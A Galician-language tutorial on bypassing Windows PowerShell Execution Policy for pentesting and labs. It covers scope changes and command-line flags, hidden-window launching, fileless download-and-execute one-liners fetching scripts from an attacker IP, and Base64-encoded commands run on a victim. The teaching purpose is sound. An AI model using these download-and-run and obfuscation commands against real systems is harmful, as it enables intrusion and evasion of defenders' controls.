Ir ao contido

Evasión de Políticas de Execución en PowerShell

Introdución

Un dos erros máis comúns ao comezar a traballar con PowerShell en auditorías ou laboratorios é o seguinte:

File script.ps1 cannot be loaded because running scripts is disabled on this system.

Isto débese á Execution Policy (Política de Execución), unha característica de seguridade deseñada para evitar a execución accidental de scripts, pero que non é unha barreira de seguridade real contra un atacante.

Este documento detalla como identificar, comprender e saltar estas restricións sen necesidade de permisos de Administrador.

Preparación: Script de Exemplo

Para probar os métodos descritos neste documento, crea un ficheiro chamado script.ps1 no cartafol onde esteas a traballar co seguinte contido simple. Este servirá para verificar cando logramos saltar a restrición.

Contido de script.ps1:

Write-Host "Bypass realizado con éxito! O script executouse." -ForegroundColor Green
Get-Date

Comprobar o Estado Actual

Antes de intentar un bypass, é útil saber en que estado se atopa a máquina.

Get-ExecutionPolicy
Nota importante: Ao executar este comando sen parámetros, PowerShell devolve a Política Efectiva. Isto non se corresponde necesariamente cun único ámbito, senón que é a política "gañadora" despois de avaliar todas as prioridades (GPO, Usuario, Máquina, etc.).

Exemplo de saída:

Restricted

Ou para ver o detalle por ámbitos e saber de onde vén esa restrición:

Get-ExecutionPolicy -List

Exemplo de saída:

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine       Undefined

Orde de Prioridade

É fundamental entender que a prioridade aplícase de arriba a abaixo. PowerShell revisa a lista nesta orde e aplica a primeira política que non sexa Undefined. O resultado desta comprobación é o que mostra o comando Get-ExecutionPolicy básico.

  1. MachinePolicy (GPO): Prioridade máxima. Establecida por directivas de grupo.
  2. UserPolicy (GPO): Establecida por directivas de grupo para o usuario.
  3. Process (Sesión actual): Afecta só á ventá actual (aquí é onde actuamos para o bypass).
  4. CurrentUser: Configuración no rexistro do usuario actual.
  5. LocalMachine: Configuración global do equipo (prioridade mínima).

Se Process está definido como Bypass, anulará o que diga LocalMachine, pero non podería anular unha MachinePolicy se esta estivese definida por un administrador de dominio.

Tipos de Políticas

  • Undefined: Non hai ningunha política de execución establecida para o ámbito actual. Se todos os ámbitos son Undefined, a política efectiva por defecto é Restricted (en clientes Windows) ou RemoteSigned (en servidores).
  • Default: Establece a política de execución predeterminada. En clientes Windows equivale a Restricted, mentres que en Windows Server equivale a RemoteSigned.
  • Restricted: Non permite executar ningún script (valor por defecto en Windows cliente). Só permite comandos individuais.
  • RemoteSigned: Scripts creados localmente execútanse sen problemas; os descargados de Internet requiren estar asinados por un editor de confianza.
  • AllSigned: Todos os scripts (locais e remotos) requiren firma dixital.
  • Unrestricted: Permite a execución de calquera script. Só amosa unha advertencia para scripts descargados de Internet non asinados.
  • Bypass: Nada está bloqueado e non hai advertencias nin preguntas.

Método 1: Cambio de Ámbito (Process Scope)

Este é o método máis limpo e profesional para un pentester que ten acceso interactivo a unha shell, pero non ten permisos de Administrador.

O Truco do Scope Process

Por defecto, intentar cambiar a política afecta a toda a máquina (Rexistro), o que require permisos de Admin.

Porén, o parámetro -Scope Process aplica o cambio só á variable de entorno da sesión actual. Isto non require privilexios elevados e desaparece ao pechar a ventá.

Comando:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force

Verificación: Podes comprobar que funcionou executando de novo o listado. Verás que Process agora manda sobre LocalMachine (ou sobre Undefined) porque está máis arriba na lista de prioridades:

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process          Bypass  <-- A túa sesión (Gaña aos de abaixo)
  CurrentUser       Undefined
 LocalMachine      Restricted  (Ou Undefined)

Método 2: Flags de Liña de Comandos

Se vas executar un script "one-liner" ou chamas a PowerShell desde unha CMD/Shell reversa, podes pasar a política como argumento. Isto non cambia a configuración persistente do sistema.

Comando básico:

powershell -ExecutionPolicy Bypass -File script.ps1

Versión abreviada (moi común en exploits):

powershell -ep bypass -f script.ps1

Versión invisible (para payloads):

powershell -nop -w hidden -ep bypass -c "comando..."
* -nop: NoProfile (carga máis rápido e evita cargar scripts de perfil do usuario). * -w hidden: WindowStyle Hidden (oculta a ventá).

Detalle Técnico: WindowStyle Hidden

O uso de -w hidden ten matices importantes:

  1. O "Flash": A miúdo vese un breve parpadeo da ventá negra antes de desaparecer. Isto ocorre porque a ventá créase antes de que PowerShell procese o argumento de ocultala.
  2. Oculta os ERROS: Se o teu comando falla (ex: a ruta non existe ou non tes permisos), a ventá abrirase, mostrará o erro e pecharase tan rápido que non o verás. Nunca uses -w hidden mentres estás probando o payload.
  3. Visibilidade do Proceso: Aínda que a ventá non se vexa na barra de tarefas, o proceso powershell.exe segue visible no Administrador de Tarefas.
  4. Exemplo práctico: Se executas powershell -w hidden -c "echo ola > c:\ruta\non\existe.txt", non se creará nada e non verás ningún aviso. Debes probar primeiro sen o flag oculto.

Método 3: Execución en Memoria (Fileless)

A Execution Policy bloquea ficheiros .ps1 no disco. Se les o contido do ficheiro e llo pasas directamente ao intérprete, a política a miúdo ignórase porque non se está "executando un ficheiro", senón interpretando cadeas de texto.

Pipe desde Get-Content

Se tes o ficheiro no disco pero non podes executalo:

Get-Content .\script.ps1 | Invoke-Expression
# Ou a versión curta:
gc .\script.ps1 | iex

Descarga e Execución Remota

A técnica estándar para non tocar disco. O script descárgase como string e execútase inmediatamente. Nota: Asegúrate de cambiar 10.10.14.5 pola IP da túa máquina atacante.

Opción Moderna (Recomendada - PS v3.0+): Utiliza alias para comandos máis curtos. irm é preferible porque obtén só o contido puro.

# irm = Invoke-RestMethod | iex = Invoke-Expression
irm http://10.10.14.5/script.ps1 | iex

Tamén podes atopar variantes con iwr (Invoke-WebRequest). Se che dá un erro sobre o "Internet Explorer engine", debes engadir -UseBasicParsing.

# Engadimos -UseBasicParsing para evitar erros se non hai IE configurado
iwr -UseBasicParsing http://10.10.14.5/script.ps1 | iex

Diferenza: irm vs iwr

  • irm (Invoke-RestMethod): Devolve directamente o contido (o corpo da resposta). É o ideal para scripts porque entrega o código limpo para o iex.
  • iwr (Invoke-WebRequest): Devolve un obxecto de resposta completo (con cabeceiras, estado HTTP, etc.). Aínda que funciona no pipe, descarga máis metadatos innecesarios e a miúdo require -UseBasicParsing.

Opción Clásica (Legacy - PS v2.0): Útil só en sistemas moi antigos (ex. Windows 7 sen actualizar).

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')

Método 4: Bypass por Codificación (EncodedCommand)

Moi útil para evitar problemas de sintaxe con caracteres especiais ou para ofuscar o comando básico. Non salta a política per se, pero úsase xunto con flags de bypass para inxeccións limpas.

1. Preparar o comando (Escolle a túa plataforma)

Opción A: Desde Windows (PowerShell)

# Lembra substituír 10.10.14.5 pola túa IP de atacante
$cmd = "irm http://10.10.14.5/script.ps1 | iex"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host $encoded

Opción B: Desde Linux / Kali (Bash) En Linux é necesario converter o texto a UTF-16LE antes de facer o Base64 para que PowerShell o entenda:

echo -n "irm http://10.10.14.5/script.ps1 | iex" | iconv -t UTF-16LE | base64 -w 0

2. Executar na vítima

Copia a cadea xerada e execútaa na máquina obxectivo:

powershell -ep bypass -EncodedCommand <CADEA_BASE64...>

Resumo de Técnicas

Método Comando Clave Vantaxe
Process Scope Set-ExecutionPolicy -Scope Process ... Non require Admin, afecta a toda a sesión actual.
CLI Flag powershell -ep bypass ... Rápido, ideal para one-liners ou scripts de inicio.
Pipe / IEX cat script.ps1 \| iex Evita a restrición de ficheiros (Fileless).
Web Download irm http://... \| iex Descarga e executa en memoria sen tocar disco.

Consideracións de Seguridade

Aínda que estes métodos saltan a Execution Policy, non evitan a detección de antivirus (Microsoft Defender) nin AMSI (Antimalware Scan Interface).

Se usas -ep bypass e cargas un script coñecido como malicioso (ex. Mimikatz ou Nishang sen ofuscar), Defender bloquearao pola firma do contido, non pola política de execución.

Referencia oficial